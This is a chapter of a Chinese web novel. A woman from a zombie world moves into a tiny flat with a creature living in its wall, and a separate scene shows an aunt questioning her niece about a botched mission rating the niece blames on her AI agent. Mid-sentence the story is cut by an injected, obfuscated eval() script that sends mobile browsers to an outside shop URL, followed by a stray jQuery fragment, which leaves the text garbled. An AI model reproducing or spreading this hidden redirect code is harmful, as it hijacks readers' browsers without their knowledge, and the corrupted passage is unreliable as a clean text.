屈澜有点想离开了,但想到刚刚网购的食材,还是继续往里走。

    小区光线很暗,她打开智脑的照明功能,微弱的光束扫过楼栋侧边的号码,依序寻找,脚步过后的痕迹很快被水滴击穿。

    耐心耗尽前,屈澜终于找到了房间。她脚步一顿,门口留着一份包裹。

    离远了一些,拿智脑扫过去,发现贴面的信息正是几十分钟前买的食材,食物的味道愈发浓郁,光靠闻就知道品质肯定不差。

    竟然比她还快。

    屈澜站在门前,仔细看了看这扇门的外表,从外面看没什么不同,只是一扇还要用钥匙打开的防盗门。

    没感受到其他人或机械的气味,才携着快递开了门。

    白炽灯的开关就在身侧,她顺手按下,房间的格局顿时明亮清晰。

    屈澜关好门,才回头看过去,顿时怔在原地。

    比棺材房是大了不少,虽说是一室一厅,但客厅的空间比个过道宽不了多少,有两扇高窗,大面积还是墙。

    她站在原地,思绪有些凌乱。

    啊?就这样的房子,40年房贷,一千多万吗?

    头顶的白炽灯忽闪忽灭,有些发暗,屈澜被晃得眼疼,干脆关了。

    月光幽幽照进一点光亮,却也真的比棺材房要亮一点。

    屈澜站了一会儿,想起手中的包裹,如同白天卫情展示的样子,挥挥衣袖,一枚小巧的晶石出现在掌心。

    她比划着用晶石拆快递,低头的瞬间,平整的墙面有凹凸的波痕流动。

    …

    门外传来一阵机车轰鸣,隔着整个房子都能听到炸裂的重金属乐,声音越来越大。

    门把拧动,虹膜识别成功。

    室内的灯线由玄关处层层转亮,从门外进来的家伙依旧哼着歌,配着智脑播放的重金属乐,肆无忌惮地喧嚣。

    坐在沙发上等她的女人看过去,被一群乱七八糟的配饰晃了眼,按了按额角。

    “小姨?”清亮的声音有些惊讶,关幸没想到自己家还有别人在,手忙脚乱把音乐关了,茫然地看着她,心里有些直打鼓,关芩一向不喜欢她搞这些,别又是要骂她了吧……

    关芩招招手让她靠近些。

    她仔细看了看这个孩子,是漂亮的,清澈圆润的眼睛,白皙秀巧的脸庞,几乎融合了她姐姐夫所有外貌优点,但论智商和审美,简直是俩人排毒的产物。

    “去哪了?”关芩看看腕表,已经凌晨两点。她在这里等了她大半夜,顺道班都加完了,关幸还没回来。

    少女拖着脚步坐到旁边的沙发上,摸摸鼻子,手上的银饰叮叮咣咣地响起来,含糊其辞,“就是,去玩了一下。”

    她转移话题,“小姨,您怎么过来了?”源生还不够她忙的吗,怎么大半夜来堵自己了…

    关芩面色冷淡,语气轻嘲,“我手下的人还在为你收拾烂摊子,我不来找你么?”

    关幸顿住了,漂亮的眉眼打起转,显出清澈的茫然,却没有半点心虚。

    许久,回忆了半天,她迟疑地开口,“您说哪一件啊?”

    关芩:……

    她突然失去了对话的欲望,点点手边的文件,紧紧盯着关幸的表情,一字一顿地说,“由于你的疏忽,科创部有任务评级错误,整个小队差点全部覆灭。”

    关幸看都没看,皱起脸,语气怏怏,“哦,这样啊。”原来是源生的事。

    她既没把评级工作当回事,也没把可能丧命的员工当回事,而为了她,整个科创部今天放了不少血。

    关芩的脸庞隐没在半片黑暗之下,语气冷淡,“你故意的。”

    关幸被这样的指控弄得心中一跳,面上依旧是那样茫然,脑袋里想了半天,辩解道,“我不知道啊,评级这件事不都是大数据筛过吗,我问了智能体的!他说没问题。”

    关芩觉得荒谬,几乎有些可笑,“问了你那个智能体?洛伊?”

    关幸点头,漂亮的眼眸满是真诚乖巧,说出的话却不是这么回事,“要我说,虽然我的智能体也是有概率出错的,但科创部就没有责任吗?有那么多没问题的任务,怎么偏偏把一个有问题的任务分给我审核,我能审出什么啊…”

    最后几个字在关芩愈发冰冷的目光下,说得格外小声。

    关芩绷紧下巴,这番歪理听得她越来越火大,但确实推翻了之前的推测,关幸不是故意的,纯属傻还倒霉。

    前有关家长子公然遇刺,现在又有关家女儿疑似背锅…难道有人在针对关家?指尖敲打着桌面,关芩眸光深处掀起意味不明的情绪。

    叮咣作响的配饰打断了她的思路,纤长的指尖拿起桌上那份报告说明,全程没提关幸两字,关幸却知道这是自己惹的麻烦。

    胡乱翻了两下,随口问,“哦…好吧……这次谁受伤了啊?”

    她苦起脸,这回是真的冤枉啊,干过那么多故意的事,但评级…她交给洛伊做了的!

    “卫语卫情和一个新人。”

    关幸脸上一僵,“她、她们?”

    关芩眉眼一挑,微微前倾,“认识?”还有能让这祖宗记住的人?

    关幸撇嘴,“双星子嘛,谁不认识,每个跟她们打交道的都说难缠。”

    关芩语气轻嘲,“难不难缠也跟你没关系啊,被缠的是万珂。”

    关幸觉得自己真是倒霉透了,她拄着下巴,看了看三个组员的证件照,本来想从别的渠道再补给倒霉的伤员一点钱,但竟然是这几个人……

    希望万助理加油,可别把她供出来啊。

    关幸打了个哆嗦。

    “怪不得今天我打了两个喷嚏,原来是万助理骂我。”

    她垂着脑袋,有些无辜,“小姨,我可以上楼了吗?主要是时间不早了,你明天还要上班吧。”最后一句是她想两句高情商语录,加上的。

    关芩脑子更疼了,是啊,她明天上班,这货睡够了又能去疯玩了。

    烦躁地挥挥手,让关幸赶紧离开,眼不见心不烦。

    看着对方雀跃离开准备上楼的身影,关芩想到今晚到来的另一件事,“你大哥中弹了。”

    关幸脚步顿住。

    关芩紧紧盯着她的身影,双手交叠,“目前媒体还没报道,他是在自家公司门前中弹的,生死未卜。小幸,你有什么想法吗?”

    虽然关幸每次都表现得又蠢又没救,但蠢人在关家活不到第二天。可偏偏关幸,关家嫡系的孩子,躲过了夺权大战,还能每天活得这么滋润?

    关芩的直觉总告诉她,关幸很违和。

    关幸挠挠脸,语气一如既往,带着半点天真,“可能…他倒霉?”

    关芩:……

    “趁早放弃你那个智障体吧,我担心他的智商还没你高。”

    …

    美味,震撼美味!

    屈澜只是品鉴了一颗小番茄,立刻被丰富的口感震撼得说不出话。

    虽然皮有些厚,但那是番茄,是真正的食物!

    她有多久没吃过正常食物了,又有多久没嚼过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769302|209857||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    正常东西了?屈澜记不清,也不去想,连番茄叶都没放过。

    两颗青菜也是如此,清新的草香…生机的味道啊,这是真实的蔬菜。

    手指不停地抚摸菜叶的纹路,眼眶有些发红。

    在丧尸世界饥不裹腹的日子渐渐浮在脑海里,无数人饿得只剩皮骨,日复一日行走在末世,远远望去和丧尸没什么两样。

    人吃人会被谴责,但谴责算个什么,有人会说,“可是丧尸也吃啊。”

    当看到一个饿得肋骨突出形如骷髅的人,和另一个瘦骨嶙峋的人相互交食时,屈澜说不出自己的感受。

    这样看,是不是这个世界更好些?

    屈澜不知道。她闭了闭眼,恍惚又看到那个脑脊液都流出来却依旧不敢辞职的司机,还有不敢停下,只想留在车上的亡魂。

    月光流动变转,墙面的凸起如同有生命般追随光源而动,在白色的墙面上留下一道道微湿的波痕,像是湿潮的痕迹。

    屈澜握紧了边缘略微锋利的晶石,另一只手把小番茄和蔬菜放进怀里,警惕地观察那点凸动。

    它越来越大,在墙上形成一个有两个拳头大的圆形,不停地向外跳动,几乎像要破墙而出。

    墙内有东西?

    屈澜眯了眯眼。

    在一片静谧之下,墙内不明物鼓动的声音越来越明显,噗嗤噗嗤,如同陷进血肉里。

    屈澜头皮发麻,只觉得前所未有的危机感席卷全身。

    她依旧没有闻到人类或者机械的味道,这世界还有别的存在?

    大脑飞快运转,这玩意到底什么时候出现的,在她进门的时刻?不,不是,她进门一切正常,墙面平整无凸痕。究竟是哪个动作“启动”了这团不明物?

    不明物已经移动到靠近大门的位置,却停止追逐月光,反而停顿了。

    它反方向移动,正在朝她袭来!

    屈澜瞳孔骤缩,飞快后退转身。

    她想起来了,好像是关灯的时候,关灯的一瞬间似乎瞥见了墙面,但并没有过多在意。

    墙面伸出一道湿淋淋的长痕,屈澜心头一跳,飞快把快递盒扔了出去。

    长痕卷着垃圾盒回到了墙内。

    她不敢大意,继续往大门的方向走,头上渗出一层冷汗,明天她就要找钱莱投诉!不,一会马上就去找她!该死的,怎么没说房间里还有这玩意?!

    “噗—”快递盒被吐了出来,湿淋淋的长痕明显被激怒了,更加狂暴地刺向屈澜。

    屈澜莫名从中看出几分嫌弃,福至心灵,试探地扔出一颗小番茄。

    长痕收了回去,屈澜也小幅度踱步到门口。

    她不敢大意,晶石抵着开关摁了灯,电流滋滋,白炽灯半死不活地亮起来。

    屈澜抵着门把手,发现墙面光洁如初。

    但她停在那,没有转身离开,也没有再度靠近。视线依旧盯着墙面,她的耳朵动了动,听到门外传来的两道脚步声。

    深夜,有人来她家了。

    似乎来者不善。

    待在这,面对不明物,还是转身会会门外的不速之客?

    她背后的墙面再度鼓出一个相似的圆球,顶到她的腰部。屈澜甚至没有反应过来,那道长痕便已经伸出来了,卷走了她手指捏住的晶石。

    与此同时,门外的气息消失了。

    屈澜背脊发寒。那是在面临全然未知生物的本能反应,它竟然如此轻松地“吞噬”了两个人类?

    那下一个呢,会是她吗。